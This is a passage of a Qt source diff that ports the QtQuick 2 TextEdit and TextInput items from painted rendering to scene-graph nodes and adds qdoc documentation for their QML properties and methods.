void QSGTextEdit::setTextInteractionFlags(Qt::TextInteractionFlags flags)
{
Q_D(QSGTextEdit);
d->control->setTextInteractionFlags(flags);
}
+/*!
+ Returns the flags specifying how the text edit should interact
+ with user input.
+*/
Qt::TextInteractionFlags QSGTextEdit::textInteractionFlags() const
{
Q_D(const QSGTextEdit);
return d->control->textInteractionFlags();
}
+/*!
+ \qmlproperty rectangle QtQuick2::TextEdit::cursorRectangle
+
+ The rectangle where the text cursor is rendered
+ within the text edit. Read-only.
+*/
QRect QSGTextEdit::cursorRectangle() const
{
Q_D(const QSGTextEdit);
@@ -702,7 +1179,7 @@ bool QSGTextEdit::event(QEvent *event)
d->control->processEvent(event, QPointF(0, -d->yoff));
return event->isAccepted();
}
- return QSGPaintedItem::event(event);
+ return QSGImplicitSizeItem::event(event);
}
/*!
@@ -714,7 +1191,7 @@ void QSGTextEdit::keyPressEvent(QKeyEvent *event)
Q_D(QSGTextEdit);
d->control->processEvent(event, QPointF(0, -d->yoff));
if (!event->isAccepted())
- QSGPaintedItem::keyPressEvent(event);
+ QSGImplicitSizeItem::keyPressEvent(event);
}
/*!
@@ -726,9 +1203,14 @@ void QSGTextEdit::keyReleaseEvent(QKeyEvent *event)
Q_D(QSGTextEdit);
d->control->processEvent(event, QPointF(0, -d->yoff));
if (!event->isAccepted())
- QSGPaintedItem::keyReleaseEvent(event);
+ QSGImplicitSizeItem::keyReleaseEvent(event);
}
+/*!
+ \qmlmethod void QtQuick2::TextEdit::deselect()
+
+ Removes active text selection.
+*/
void QSGTextEdit::deselect()
{
Q_D(QSGTextEdit);
@@ -737,12 +1219,22 @@ void QSGTextEdit::deselect()
d->control->setTextCursor(c);
}
+/*!
+ \qmlmethod void QtQuick2::TextEdit::selectAll()
+
+ Causes all text to be selected.
+*/
void QSGTextEdit::selectAll()
{
Q_D(QSGTextEdit);
d->control->selectAll();
}
+/*!
+ \qmlmethod void QtQuick2::TextEdit::selectWord()
+
+ Causes the word closest to the current cursor position to be selected.
+*/
void QSGTextEdit::selectWord()
{
Q_D(QSGTextEdit);
@@ -751,6 +1243,19 @@ void QSGTextEdit::selectWord()
d->control->setTextCursor(c);
}
+/*!
+ \qmlmethod void QtQuick2::TextEdit::select(int start, int end)
+
+ Causes the text from \a start to \a end to be selected.
+
+ If either start or end is out of range, the selection is not changed.
+
+ After calling this, selectionStart will become the lesser
+ and selectionEnd will become the greater (regardless of the order passed
+ to this method).
+
+ \sa selectionStart, selectionEnd
+*/
void QSGTextEdit::select(int start, int end)
{
Q_D(QSGTextEdit);
@@ -767,6 +1272,12 @@ void QSGTextEdit::select(int start, int end)
updateSelectionMarkers();
}
+/*!
+ \qmlmethod void QtQuick2::TextEdit::isRightToLeft(int start, int end)
+
+ Returns true if the natural reading direction of the editor text
+ found between positions \a start and \a end is right to left.
+*/
bool QSGTextEdit::isRightToLeft(int start, int end)
{
Q_D(QSGTextEdit);
@@ -779,18 +1290,33 @@ bool QSGTextEdit::isRightToLeft(int start, int end)
}
#ifndef QT_NO_CLIPBOARD
+/*!
+ \qmlmethod QtQuick2::TextEdit::cut()
+
+ Moves the currently selected text to the system clipboard.
+*/
void QSGTextEdit::cut()
{
Q_D(QSGTextEdit);
d->control->cut();
}
+/*!
+ \qmlmethod QtQuick2::TextEdit::copy()
+
+ Copies the currently selected text to the system clipboard.
+*/
void QSGTextEdit::copy()
{
Q_D(QSGTextEdit);
d->control->copy();
}
+/*!
+ \qmlmethod QtQuick2::TextEdit::paste()
+
+ Replaces the currently selected text by the contents of the system clipboard.
+*/
void QSGTextEdit::paste()
{
Q_D(QSGTextEdit);
@@ -821,7 +1347,7 @@ void QSGTextEdit::mousePressEvent(QGraphicsSceneMouseEvent *event)
}
d->control->processEvent(event, QPointF(0, -d->yoff));
if (!event->isAccepted())
- QSGPaintedItem::mousePressEvent(event);
+ QSGImplicitSizeItem::mousePressEvent(event);
}
/*!
@@ -844,7 +1370,7 @@ void QSGTextEdit::mouseReleaseEvent(QGraphicsSceneMouseEvent *event)
d->clickCausedFocus = false;
if (!event->isAccepted())
- QSGPaintedItem::mouseReleaseEvent(event);
+ QSGImplicitSizeItem::mouseReleaseEvent(event);
}
/*!
@@ -856,7 +1382,7 @@ void QSGTextEdit::mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event)
Q_D(QSGTextEdit);
d->control->processEvent(event, QPointF(0, -d->yoff));
if (!event->isAccepted())
- QSGPaintedItem::mouseDoubleClickEvent(event);
+ QSGImplicitSizeItem::mouseDoubleClickEvent(event);
}
/*!
@@ -868,7 +1394,7 @@ void QSGTextEdit::mouseMoveEvent(QGraphicsSceneMouseEvent *event)
Q_D(QSGTextEdit);
d->control->processEvent(event, QPointF(0, -d->yoff));
if (!event->isAccepted())
- QSGPaintedItem::mouseMoveEvent(event);
+ QSGImplicitSizeItem::mouseMoveEvent(event);
}
/*!
@@ -903,49 +1429,162 @@ QVariant QSGTextEdit::inputMethodQuery(Qt::InputMethodQuery property) const
return d->control->inputMethodQuery(property);
}
-/*!
-Draws the contents of the text edit using the given \a painter within
-the given \a bounds.
-*/
-void QSGTextEdit::paint(QPainter *painter)
+void QSGTextEdit::updateImageCache(const QRectF &)
{
- // XXX todo
- QRect bounds(0, 0, width(), height());
Q_D(QSGTextEdit);
- painter->setRenderHint(QPainter::TextAntialiasing, true);
- painter->translate(0,d->yoff);
+ // Do we really need the image cache?
+ if (!d->richText || !d->isComplexRichText) {
+ if (!d->pixmapCache.isNull())
+ d->pixmapCache = QPixmap();
+ return;
+ }
+
+ if (width() != d->pixmapCache.width() || height() != d->pixmapCache.height())
+ d->pixmapCache = QPixmap(width(), height());
+
+ if (d->pixmapCache.isNull())
+ return;
+
+ // ### Use supplied rect, clear area and update only this part (for cursor updates)
+ QRectF bounds = QRectF(0, 0, width(), height());
+ d->pixmapCache.fill(Qt::transparent);
+ {
+ QPainter painter(&d->pixmapCache);
- d->control->drawContents(painter, bounds.translated(0,-d->yoff));
+ painter.setRenderHint(QPainter::TextAntialiasing);
+ painter.translate(0, d->yoff);
+
+ d->control->drawContents(&painter, bounds);
+ }
- painter->translate(0,-d->yoff);
}
-void QSGTextEdit::updateImgCache(const QRectF &rf)
+QSGNode *QSGTextEdit::updatePaintNode(QSGNode *oldNode, UpdatePaintNodeData *updatePaintNodeData)
{
- Q_D(const QSGTextEdit);
- QRect r;
- if (!rf.isValid()) {
- r = QRect(0,0,INT_MAX,INT_MAX);
- } else {
- r = rf.toRect();
- if (r.height() > INT_MAX/2) {
- // Take care of overflow when translating "everything"
- r.setTop(r.y() + d->yoff);
- r.setBottom(INT_MAX/2);
+ Q_UNUSED(updatePaintNodeData);
+ Q_D(QSGTextEdit);
+
+ QSGNode *currentNode = oldNode;
+ if (d->richText && d->isComplexRichText) {
+ QSGImageNode *node = 0;
+ if (oldNode == 0 || d->nodeType != QSGTextEditPrivate::NodeIsTexture) {
+ delete oldNode;
+ node = QSGItemPrivate::get(this)->sceneGraphContext()->createImageNode();
+ d->texture = new QSGPlainTexture();
+ d->nodeType = QSGTextEditPrivate::NodeIsTexture;
+ currentNode = node;
+ } else {
+ node = static_cast<QSGImageNode *>(oldNode);
+ }
+
+ qobject_cast<QSGPlainTexture *>(d->texture)->setImage(d->pixmapCache.toImage());
+ node->setTexture(0);
+ node->setTexture(d->texture);
+
+ node->setTargetRect(QRectF(0, 0, d->pixmapCache.width(), d->pixmapCache.height()));
+ node->setSourceRect(QRectF(0, 0, 1, 1));
+ node->setHorizontalWrapMode(QSGTexture::ClampToEdge);
+ node->setVerticalWrapMode(QSGTexture::ClampToEdge);
+ node->setFiltering(QSGTexture::Linear); // Nonsmooth text just ugly, so don't do that..
+ node->update();
+
+ } else if (oldNode == 0 || d->documentDirty) {
+ d->documentDirty = false;
+
+#if defined(Q_WS_MAC)
+ // Make sure document is relayouted in the paint node on Mac
+ // to avoid crashes due to the font engines created in the
+ // shaping process
+ d->document->markContentsDirty(0, d->document->characterCount());
+#endif
+
+ QSGTextNode *node = 0;
+ if (oldNode == 0 || d->nodeType != QSGTextEditPrivate::NodeIsText) {
+ delete oldNode;
+ node = new QSGTextNode(QSGItemPrivate::get(this)->sceneGraphContext());
+ d->nodeType = QSGTextEditPrivate::NodeIsText;
+ currentNode = node;
} else {
- r = r.translated(0,d->yoff);
+ node = static_cast<QSGTextNode *>(oldNode);
}
+
+ node->deleteContent();
+ node->setMatrix(QMatrix4x4());
+
+ QRectF bounds = boundingRect();
+
+ QColor selectionColor = d->control->palette().color(QPalette::Highlight);
+ QColor selectedTextColor = d->control->palette().color(QPalette::HighlightedText);
+ node->addTextDocument(bounds.topLeft(), d->document, d->color, QSGText::Normal, QColor(),
+ selectionColor, selectedTextColor, selectionStart(),
+ selectionEnd());
+
+#if defined(Q_WS_MAC)
+ // We also need to make sure the document layout is redone when
+ // control is returned to the main thread, as all the font engines
+ // are now owned by the rendering thread
+ d->document->markContentsDirty(0, d->document->characterCount());
+#endif
}
- update(r);
+
+ if (d->nodeType == QSGTextEditPrivate::NodeIsText && d->cursorComponent == 0 && !isReadOnly()) {
+ QSGTextNode *node = static_cast<QSGTextNode *>(currentNode);
+
+ QColor color = (!d->cursorVisible || !d->control->cursorOn())
+ ? QColor(0, 0, 0, 0)
+ : d->color;
+
+ if (node->cursorNode() == 0) {
+ node->setCursor(cursorRectangle(), color);
+ } else {
+ node->cursorNode()->setRect(cursorRectangle());
+ node->cursorNode()->setColor(color);
+ }
+
+ }
+
+ return currentNode;
}
+/*!
+ \qmlproperty bool QtQuick2::TextEdit::smooth
+
+ This property holds whether the text is smoothly scaled or transformed.
+
+ Smooth filtering gives better visual quality, but is slower. If
+ the item is displayed at its natural size, this property has no visual or
+ performance effect.
+
+ \note Generally scaling artifacts are only visible if the item is stationary on
+ the screen. A common pattern when animating an item is to disable smooth
+ filtering at the beginning of the animation and reenable it at the conclusion.
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::TextEdit::canPaste
+
+ Returns true if the TextEdit is writable and the content of the clipboard is
+ suitable for pasting into the TextEdit.
+*/
bool QSGTextEdit::canPaste() const
{
Q_D(const QSGTextEdit);
return d->canPaste;
}
+/*!
+ \qmlproperty bool QtQuick2::TextEdit::inputMethodComposing
+
+
+ This property holds whether the TextEdit has partial text input from an
+ input method.
+
+ While it is composing an input method may rely on mouse or key events from
+ the TextEdit to edit or commit the partial text. This property can be used
+ to determine when to disable events handlers that may interfere with the
+ correct operation of an input method.
+*/
bool QSGTextEdit::isInputMethodComposing() const
{
Q_D(const QSGTextEdit);
@@ -961,12 +1600,22 @@ void QSGTextEditPrivate::init()
q->setSmooth(smooth);
q->setAcceptedMouseButtons(Qt::LeftButton);
q->setFlag(QSGItem::ItemAcceptsInputMethod);
+ q->setFlag(QSGItem::ItemHasContents);
control = new QTextControl(q);
control->setIgnoreUnusedNavigationEvents(true);
control->setTextInteractionFlags(Qt::LinksAccessibleByMouse | Qt::TextSelectableByKeyboard | Qt::TextEditable);
control->setDragEnabled(false);
+ // By default, QTextControl will issue both a updateCursorRequest() and an updateRequest()
+ // when the cursor needs to be repainted. We need the signals to be separate to be able to
+ // distinguish the cursor updates so that we can avoid updating the whole subtree when the
+ // cursor blinks.
+ if (!QObject::disconnect(control, SIGNAL(updateCursorRequest(QRectF)),
+ control, SIGNAL(updateRequest(QRectF)))) {
+ qWarning("QSGTextEditPrivate::init: Failed to disconnect updateCursorRequest and updateRequest");
+ }
+
// QTextControl follows the default text color
// defined by the platform, declarative text
// should be black by default
@@ -976,8 +1625,8 @@ void QSGTextEditPrivate::init()
control->setPalette(pal);
}
- QObject::connect(control, SIGNAL(updateRequest(QRectF)), q, SLOT(updateImgCache(QRectF)));
-
+ QObject::connect(control, SIGNAL(updateRequest(QRectF)), q, SLOT(updateDocument()));
+ QObject::connect(control, SIGNAL(updateCursorRequest()), q, SLOT(updateCursor()));
QObject::connect(control, SIGNAL(textChanged()), q, SLOT(q_textChanged()));
QObject::connect(control, SIGNAL(selectionChanged()), q, SIGNAL(selectionChanged()));
QObject::connect(control, SIGNAL(selectionChanged()), q, SLOT(updateSelectionMarkers()));
@@ -1056,7 +1705,7 @@ void QSGTextEdit::updateSelectionMarkers()
QRectF QSGTextEdit::boundingRect() const
{
Q_D(const QSGTextEdit);
- QRectF r = QSGPaintedItem::boundingRect();
+ QRectF r = QSGImplicitSizeItem::boundingRect();
int cursorWidth = 1;
if(d->cursor)
cursorWidth = d->cursor->width();
@@ -1121,7 +1770,7 @@ void QSGTextEdit::updateSize()
} else {
nyoff = 0;
}
- if (nyoff != d->yoff)
+ if (nyoff != d->yoff)
d->yoff = nyoff;
setBaselineOffset(fm.ascent() + d->yoff + d->textMargin);
@@ -1138,12 +1787,31 @@ void QSGTextEdit::updateSize()
setImplicitHeight(newHeight);
d->paintedSize = QSize(newWidth, newHeight);
- setContentsSize(d->paintedSize);
emit paintedSizeChanged();
} else {
d->dirty = true;
}
- update();
+ updateDocument();
+}
+
+void QSGTextEdit::updateDocument()
+{
+ Q_D(QSGTextEdit);
+ d->documentDirty = true;
+
+ if (isComponentComplete()) {
+ updateImageCache();
+ update();
+ }
+}
+
+void QSGTextEdit::updateCursor()
+{
+ Q_D(QSGTextEdit);
+ if (isComponentComplete()) {
+ updateImageCache(d->control->cursorRect());
+ update();
+ }
}
void QSGTextEdit::updateTotalLines()
@@ -1184,12 +1852,59 @@ void QSGTextEditPrivate::updateDefaultTextOption()
QTextOption::WrapMode oldWrapMode = opt.wrapMode();
opt.setWrapMode(QTextOption::WrapMode(wrapMode));
- if (oldWrapMode == opt.wrapMode() && oldAlignment == opt.alignment())
+ bool oldUseDesignMetrics = opt.useDesignMetrics();
+ bool useDesignMetrics = !qmlDisableDistanceField();
+ opt.setUseDesignMetrics(useDesignMetrics);
+
+ if (oldWrapMode == opt.wrapMode()
+ && oldAlignment == opt.alignment()
+ && oldUseDesignMetrics == useDesignMetrics) {
return;
+ }
document->setDefaultTextOption(opt);
}
+
+/*!
+ \qmlmethod void QtQuick2::TextEdit::openSoftwareInputPanel()
+
+ Opens software input panels like virtual keyboards for typing, useful for
+ customizing when you want the input keyboard to be shown and hidden in
+ your application.
+
+ By default the opening of input panels follows the platform style. On Symbian^1 and
+ Symbian^3 -based devices the panels are opened by clicking TextEdit. On other platforms
+ the panels are automatically opened when TextEdit element gains active focus. Input panels are
+ always closed if no editor has active focus.
+
+ You can disable the automatic behavior by setting the property \c activeFocusOnPress to false
+ and use functions openSoftwareInputPanel() and closeSoftwareInputPanel() to implement
+ the behavior you want.
+
+ Only relevant on platforms, which provide virtual keyboards.
+
+ \code
+ import QtQuick 1.0
+ TextEdit {
+ id: textEdit
+ text: "Hello world!"
+ activeFocusOnPress: false
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ if (!textEdit.activeFocus) {
+ textEdit.forceActiveFocus();
+ textEdit.openSoftwareInputPanel();
+ } else {
+ textEdit.focus = false;
+ }
+ }
+ onPressAndHold: textEdit.closeSoftwareInputPanel();
+ }
+ }
+ \endcode
+*/
void QSGTextEdit::openSoftwareInputPanel()
{
if (qApp) {
@@ -1200,6 +1915,45 @@ void QSGTextEdit::openSoftwareInputPanel()
}
}
+/*!
+ \qmlmethod void QtQuick2::TextEdit::closeSoftwareInputPanel()
+
+ Closes a software input panel like a virtual keyboard shown on the screen, useful
+ for customizing when you want the input keyboard to be shown and hidden in
+ your application.
+
+ By default the opening of input panels follows the platform style. On Symbian^1 and
+ Symbian^3 -based devices the panels are opened by clicking TextEdit. On other platforms
+ the panels are automatically opened when TextEdit element gains active focus. Input panels are
+ always closed if no editor has active focus.
+
+ You can disable the automatic behavior by setting the property \c activeFocusOnPress to false
+ and use functions openSoftwareInputPanel() and closeSoftwareInputPanel() to implement
+ the behavior you want.
+
+ Only relevant on platforms, which provide virtual keyboards.
+
+ \code
+ import QtQuick 1.0
+ TextEdit {
+ id: textEdit
+ text: "Hello world!"
+ activeFocusOnPress: false
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ if (!textEdit.activeFocus) {
+ textEdit.forceActiveFocus();
+ textEdit.openSoftwareInputPanel();
+ } else {
+ textEdit.focus = false;
+ }
+ }
+ onPressAndHold: textEdit.closeSoftwareInputPanel();
+ }
+ }
+ \endcode
+*/
void QSGTextEdit::closeSoftwareInputPanel()
{
if (qApp) {
@@ -1218,7 +1972,7 @@ void QSGTextEdit::focusInEvent(QFocusEvent *event)
openSoftwareInputPanel();
}
}
- QSGPaintedItem::focusInEvent(event);
+ QSGImplicitSizeItem::focusInEvent(event);
}
void QSGTextEdit::q_canPasteChanged()
diff --git a/src/declarative/items/qsgtextedit_p.h b/src/declarative/items/qsgtextedit_p.h
index 115b25040d..fa61f03f7f 100644
--- a/src/declarative/items/qsgtextedit_p.h
+++ b/src/declarative/items/qsgtextedit_p.h
@@ -54,7 +54,7 @@ QT_BEGIN_NAMESPACE
QT_MODULE(Declarative)
class QSGTextEditPrivate;
-class Q_AUTOTEST_EXPORT QSGTextEdit : public QSGImplicitSizePaintedItem
+class Q_AUTOTEST_EXPORT QSGTextEdit : public QSGImplicitSizeItem
{
Q_OBJECT
Q_ENUMS(VAlignment)
@@ -260,16 +260,18 @@ public Q_SLOTS:
#endif
private Q_SLOTS:
- void updateImgCache(const QRectF &rect);
void q_textChanged();
void updateSelectionMarkers();
void moveCursorDelegate();
void loadCursorDelegate();
void q_canPasteChanged();
+ void updateDocument();
+ void updateCursor();
private:
void updateSize();
void updateTotalLines();
+ void updateImageCache(const QRectF &rect = QRectF());
protected:
virtual void geometryChanged(const QRectF &newGeometry,
@@ -288,7 +290,8 @@ protected:
void inputMethodEvent(QInputMethodEvent *e);
virtual void itemChange(ItemChange, const ItemChangeData &);
- void paint(QPainter *);
+ QSGNode *updatePaintNode(QSGNode *oldNode, UpdatePaintNodeData *updatePaintNodeData);
+
private:
Q_DISABLE_COPY(QSGTextEdit)
Q_DECLARE_PRIVATE(QSGTextEdit)
diff --git a/src/declarative/items/qsgtextedit_p_p.h b/src/declarative/items/qsgtextedit_p_p.h
index c080857e46..e4f74c0ef5 100644
--- a/src/declarative/items/qsgtextedit_p_p.h
+++ b/src/declarative/items/qsgtextedit_p_p.h
@@ -63,21 +63,21 @@ QT_BEGIN_NAMESPACE
class QTextLayout;
class QTextDocument;
class QTextControl;
-class QSGTextEditPrivate : public QSGImplicitSizePaintedItemPrivate
+class QSGTextEditPrivate : public QSGImplicitSizeItemPrivate
{
Q_DECLARE_PUBLIC(QSGTextEdit)
public:
QSGTextEditPrivate()
: color("black"), hAlign(QSGTextEdit::AlignLeft), vAlign(QSGTextEdit::AlignTop),
- imgDirty(true), dirty(false), richText(false), cursorVisible(false), focusOnPress(true),
+ documentDirty(true), dirty(false), richText(false), cursorVisible(false), focusOnPress(true),
showInputPanelOnFocus(true), clickCausedFocus(false), persistentSelection(true),
requireImplicitWidth(false), selectByMouse(false), canPaste(false),
- hAlignImplicit(true), rightToLeftText(false),
+ hAlignImplicit(true), rightToLeftText(false), isComplexRichText(false),
textMargin(0.0), lastSelectionStart(0), lastSelectionEnd(0), cursorComponent(0), cursor(0),
format(QSGTextEdit::AutoText), document(0), wrapMode(QSGTextEdit::NoWrap),
mouseSelectionMode(QSGTextEdit::SelectCharacters),
- yoff(0)
+ yoff(0), nodeType(NodeIsNull), texture(0)
{
#ifdef Q_OS_SYMBIAN
if (QSysInfo::symbianVersion() == QSysInfo::SV_SF_1 || QSysInfo::symbianVersion() == QSysInfo::SV_SF_3) {
@@ -104,12 +104,10 @@ public:
QColor selectedTextColor;
QString style;
QColor styleColor;
- QPixmap imgCache;
- QPixmap imgStyleCache;
QSGTextEdit::HAlignment hAlign;
QSGTextEdit::VAlignment vAlign;
- bool imgDirty : 1;
+ bool documentDirty : 1;
bool dirty : 1;
bool richText : 1;
bool cursorVisible : 1;
@@ -122,6 +120,7 @@ public:
bool canPaste:1;
bool hAlignImplicit:1;
bool rightToLeftText:1;
+ bool isComplexRichText:1;
qreal textMargin;
int lastSelectionStart;
@@ -136,6 +135,15 @@ public:
int lineCount;
int yoff;
QSize paintedSize;
+
+ enum NodeType {
+ NodeIsNull,
+ NodeIsTexture,
+ NodeIsText
+ };
+ NodeType nodeType;
+ QSGTexture *texture;
+ QPixmap pixmapCache;
};
QT_END_NAMESPACE
diff --git a/src/declarative/items/qsgtextinput.cpp b/src/declarative/items/qsgtextinput.cpp
index 405540d419..d30faadb34 100644
--- a/src/declarative/items/qsgtextinput.cpp
+++ b/src/declarative/items/qsgtextinput.cpp
@@ -45,19 +45,43 @@
#include <private/qdeclarativeglobal_p.h>
#include <private/qwidget_p.h>
+#include <private/qsgdistancefieldglyphcache_p.h>
#include <QtDeclarative/qdeclarativeinfo.h>
#include <QtWidgets/qgraphicssceneevent.h>
#include <QtWidgets/qinputcontext.h>
#include <QTextBoundaryFinder>
#include <qstyle.h>
+#include <qsgtextnode_p.h>
+#include <qsgsimplerectnode.h>
QT_BEGIN_NAMESPACE
+DEFINE_BOOL_CONFIG_OPTION(qmlDisableDistanceField, QML_DISABLE_DISTANCEFIELD)
+
QWidgetPrivate *qt_widget_private(QWidget *widget);
+/*!
+ \qmlclass TextInput QSGTextInput
+ \inqmlmodule QtQuick 2
+ \ingroup qml-basic-visual-elements
+ \brief The TextInput item displays an editable line of text.
+ \inherits Item
+
+ The TextInput element displays a single line of editable plain text.
+
+ TextInput is used to accept a line of text input. Input constraints
+ can be placed on a TextInput item (for example, through a \l validator or \l inputMask),
+ and setting \l echoMode to an appropriate value enables TextInput to be used for
+ a password input field.
+
+ On Mac OS X, the Up/Down key bindings for Home/End are explicitly disabled.
+ If you want such bindings (on any platform), you will need to construct them in QML.
+
+ \sa TextEdit, Text, {declarative/text/textselection}{Text Selection example}
+*/
QSGTextInput::QSGTextInput(QSGItem* parent)
-: QSGImplicitSizePaintedItem(*(new QSGTextInputPrivate), parent)
+: QSGImplicitSizeItem(*(new QSGTextInputPrivate), parent)
{
Q_D(QSGTextInput);
d->init();
@@ -67,6 +91,11 @@ QSGTextInput::~QSGTextInput()
{
}
+/*!
+ \qmlproperty string QtQuick2::TextInput::text
+
+ The text in the TextInput.
+*/
QString QSGTextInput::text() const
{
Q_D(const QSGTextInput);
@@ -81,6 +110,111 @@ void QSGTextInput::setText(const QString &s)
d->control->setText(s);
}
+/*!
+ \qmlproperty string QtQuick2::TextInput::font.family
+
+ Sets the family name of the font.
+
+ The family name is case insensitive and may optionally include a foundry name, e.g. "Helvetica [Cronyx]".
+ If the family is available from more than one foundry and the foundry isn't specified, an arbitrary foundry is chosen.
+ If the family isn't available a family will be set using the font matching algorithm.
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::TextInput::font.bold
+
+ Sets whether the font weight is bold.
+*/
+
+/*!
+ \qmlproperty enumeration QtQuick2::TextInput::font.weight
+
+ Sets the font's weight.
+
+ The weight can be one of:
+ \list
+ \o Font.Light
+ \o Font.Normal - the default
+ \o Font.DemiBold
+ \o Font.Bold
+ \o Font.Black
+ \endlist
+
+ \qml
+ TextInput { text: "Hello"; font.weight: Font.DemiBold }
+ \endqml
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::TextInput::font.italic
+
+ Sets whether the font has an italic style.
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::TextInput::font.underline
+
+ Sets whether the text is underlined.
+*/
+
+/*!
+ \qmlproperty bool QtQuick2::TextInput::font.strikeout
+
+ Sets whether the font has a strikeout style.
+*/
+
+/*!
+ \qmlproperty real QtQuick2::TextInput::font.pointSize
+
+ Sets the font size in points. The point size must be greater than zero.
+*/
+
+/*!
+ \qmlproperty int QtQuick2::TextInput::font.pixelSize
+
+ Sets the font size in pixels.
+
+ Using this function makes the font device dependent.
+ Use \c pointSize to set the size of the font in a device independent manner.
+*/
+
+/*!
+ \qmlproperty real QtQuick2::TextInput::font.letterSpacing
+
+ Sets the letter spacing for the font.
+
+ Letter spacing changes the default spacing between individual letters in the font.
+ A positive value increases the letter spacing by the corresponding pixels; a negative value decreases the spacing.
+*/
+
+/*!
+ \qmlproperty real QtQuick2::TextInput::font.wordSpacing
+
+ Sets the word spacing for the font.
+
+ Word spacing changes the default spacing between individual words.
+ A positive value increases the word spacing by a corresponding amount of pixels,
+ while a negative value decreases the inter-word spacing accordingly.
+*/
+
+/*!
+ \qmlproperty enumeration QtQuick2::TextInput::font.capitalization
+
+ Sets the capitalization for the text.
+
+ \list
+ \o Font.MixedCase - This is the normal text rendering option where no capitalization change is applied.
+ \o Font.AllUppercase - This alters the text to be rendered in all uppercase type.
+ \o Font.AllLowercase - This alters the text to be rendered in all lowercase type.
+ \o Font.SmallCaps - This alters the text to be rendered in small-caps type.
+ \o Font.Capitalize - This alters the text to be rendered with the first character of each word as an uppercase character.
+ \endlist
+
+ \qml
+ TextInput { text: "Hello"; font.capitalization: Font.AllLowercase }
+ \endqml
+*/
+
QFont QSGTextInput::font() const
{
Q_D(const QSGTextInput);
@@ -112,6 +246,11 @@ void QSGTextInput::setFont(const QFont &font)
emit fontChanged(d->sourceFont);
}
+/*!
+ \qmlproperty color QtQuick2::TextInput::color
+
+ The text color.
+*/
QColor QSGTextInput::color() const
{
Q_D(const QSGTextInput);
@@ -128,6 +267,12 @@ void QSGTextInput::setColor(const QColor &c)
}
}
+
+/*!
+ \qmlproperty color QtQuick2::TextInput::selectionColor
+
+ The text highlight color, used behind selections.
+*/
QColor QSGTextInput::selectionColor() const
{
Q_D(const QSGTextInput);
@@ -144,11 +289,15 @@ void QSGTextInput::setSelectionColor(const QColor &color)
QPalette p = d->control->palette();
p.setColor(QPalette::Highlight, d->selectionColor);
d->control->setPalette(p);
- if (d->control->hasSelectedText())
+ if (d->control->hasSelectedText())
update();
emit selectionColorChanged(color);
}
+/*!
+ \qmlproperty color QtQuick2::TextInput::selectedTextColor
+ The highlighted text color, used in selections.
+*/
QColor QSGTextInput::selectedTextColor() const
{
Q_D(const QSGTextInput);
@@ -165,11 +314,34 @@ void QSGTextInput::setSelectedTextColor(const QColor &color)
QPalette p = d->control->palette();
p.setColor(QPalette::HighlightedText, d->selectedTextColor);
d->control->setPalette(p);
- if (d->control->hasSelectedText())
+ if (d->control->hasSelectedText())
update();
emit selectedTextColorChanged(color);
}
+/*!
+ \qmlproperty enumeration QtQuick2::TextInput::horizontalAlignment
+ \qmlproperty enumeration QtQuick2::TextInput::effectiveHorizontalAlignment
+
+ Sets the horizontal alignment of the text within the TextInput item's
+ width and height. By default, the text alignment follows the natural alignment
+ of the text, for example text that is read from left to right will be aligned to
+ the left.
+
+ TextInput does not have vertical alignment, as the natural height is
+ exactly the height of the single line of text. If you set the height
+ manually to something larger, TextInput will always be top aligned
+ vertically. You can use anchors to align it however you want within
+ another item.
+
+ The valid values for \c horizontalAlignment are \c TextInput.AlignLeft, \c TextInput.AlignRight and
+ \c TextInput.AlignHCenter.
+
+ When using the attached property LayoutMirroring::enabled to mirror application
+ layouts, the horizontal alignment of text will also be mirrored. However, the property
+ \c horizontalAlignment will remain unchanged. To query the effective horizontal alignment
+ of TextInput, use the read-only property \c effectiveHorizontalAlignment.
+*/
QSGTextInput::HAlignment QSGTextInput::hAlign() const
{
Q_D(const QSGTextInput);
@@ -250,6 +422,15 @@ void QSGTextInputPrivate::mirrorChange()
}
}
+/*!
+ \qmlproperty bool QtQuick2::TextInput::readOnly
+
+ Sets whether user input can modify the contents of the TextInput.
+
+ If readOnly is set to true, then user input will not affect the text
+ property. Any bindings or attempts to set the text property will still
+ work.
+*/
bool QSGTextInput::isReadOnly() const
{
Q_D(const QSGTextInput);
@@ -270,6 +451,14 @@ void QSGTextInput::setReadOnly(bool ro)
emit readOnlyChanged(ro);
}
+/*!
+ \qmlproperty int QtQuick2::TextInput::maximumLength
+ The maximum permitted length of the text in the TextInput.
+
+ If the text is too long, it is truncated at the limit.
+
+ By default, this property contains a value of 32767.
+*/
int QSGTextInput::maxLength() const
{
Q_D(const QSGTextInput);
@@ -287,6 +476,32 @@ void QSGTextInput::setMaxLength(int ml)
emit maximumLengthChanged(ml);
}
+/*!
+ \qmlproperty bool QtQuick2::TextInput::cursorVisible
+ Set to true when the TextInput shows a cursor.
+
+ This property is set and unset when the TextInput gets active focus, so that other
+ properties can be bound to whether the cursor is currently showing. As it
+ gets set and unset automatically, when you set the value yourself you must
+ keep in mind that your value may be overwritten.
+
+ It can be set directly in script, for example if a KeyProxy might
+ forward keys to it and you desire it to look active when this happens
+ (but without actually giving it active focus).
+
+ It should not be set directly on the element, like in the below QML,
+ as the specified value will be overridden an lost on focus changes.
+
+ \code
+ TextInput {
+ text: "Text"
+ cursorVisible: false
+ }
+ \endcode
+
+ In the above snippet the cursor will still become visible when the
+ TextInput gains active focus.
+*/
bool QSGTextInput::isCursorVisible() const
{
Q_D(const QSGTextInput);
@@ -308,6 +523,10 @@ void QSGTextInput::setCursorVisible(bool on)
emit cursorVisibleChanged(d->cursorVisible);
}
+/*!
+ \qmlproperty int QtQuick2::TextInput::cursorPosition
+ The position of the cursor in the TextInput.
+*/
int QSGTextInput::cursorPosition() const
{
Q_D(const QSGTextInput);
@@ -321,6 +540,10 @@ void QSGTextInput::setCursorPosition(int cp)
d->control->moveCursor(cp);
}
+/*!
+ Returns a Rect which encompasses the cursor, but which may be larger than is
+ required. Ignores custom cursor delegates.
+*/
QRect QSGTextInput::cursorRectangle() const
{
Q_D(const QSGTextInput);
@@ -331,19 +554,49 @@ QRect QSGTextInput::cursorRectangle() const
r.adjust(5 - d->hscroll, 0, -4 - d->hscroll, -1);
return r;
}
+/*!
+ \qmlproperty int QtQuick2::TextInput::selectionStart
+
+ The cursor position before the first character in the current selection.
+
+ This property is read-only. To change the selection, use select(start,end),
